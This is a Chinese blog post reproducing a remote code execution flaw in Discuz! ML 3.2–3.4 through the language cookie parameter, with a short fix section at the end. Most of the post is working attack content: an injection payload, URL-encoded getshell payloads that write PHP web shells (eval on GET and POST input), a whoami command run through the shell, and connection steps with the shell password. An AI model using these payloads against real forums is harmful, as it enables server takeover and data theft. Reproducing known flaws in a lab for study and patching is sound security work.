• Discuz! ML RCE漏洞 getshell 复现


    0x00 Discuz简介

      Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区。

    0x01 影响版本

      Discuz! ML V3.2

      Discuz! ML V3.3

      Discuz! ML V3.4

    0x02 环境搭建

      phpstudy(php-7.2.10-nts Apache)

      Discuz 3.4 源码(官网下载:http://discuz.ml/download 之后将源码解压到根目录 /WWW

    0x03 漏洞复现

    右上角语言标识,随便选择一种语言并抓包

    将抓到的包发送到repeater模块
    将包中的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,得到了phpinfo信息,如下图:

    Getshell
    exp:
    解码后:
      '. file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'
    解码前:
      '. file_put_contents('shell.php',urldecode('')
    将包中的xxxxx_language参数值改为解码后的exp,可以看到成功执行了代码,在文件夹中多出了shell.php文件,
    如下图

     查看文件upload

    url后加shell.php?cmd=system('whoami');
    直接执行了whoami命令
     
     
    Exp:
    '. file_put_contents('shelll.php',urldecode('%3c%3fphp %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).'
    原语句:<?php  eval($_POST["a1"]);?>
    将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了shelll.php文件,

    如下图

     访问执行shelll.php

     执行后使用菜刀连接

      http://127.0.0.1/discuz/upload/shelll.php

      密码:a1(可自己修改)

     0x04 修复建议

      (1)修改source/function/function_core.php 644行为:
       /*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' :    '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
      (2)删除可控变量。
      (3)或者安装最新补丁。

    感觉博主写的不错的,右边赞赏点一点,嘿嘿→_→

    小白一枚!

    谢谢观看!

    博主公众号

    本文欢迎转载。 如转载请务必注明出处。 觉得写的不错的可以右侧打赏一手。 群在上边欢迎大家来撩。

  • 相关阅读:
    Bump Mapping综述 (转)
    二进制表示(转)
    3D局部光照模型 (转)
    关于DEVMODE的数据结构显示设备的属性(转)
    The C++ Programming Language(一)
    The C++ Programming Language(二)
    linux_redhat9下安装FTP服务器
    oracle下用户相关问题整理
    Linux的基本命令学习与shell基本内容学习(2)
    winxp系统32位平台下利用oracle10g自带的DBCA(database configuration assistant)工具创建数据库
  • 原文地址:https://www.cnblogs.com/bflw/p/12356937.html
Copyright © 2020-2023  润新知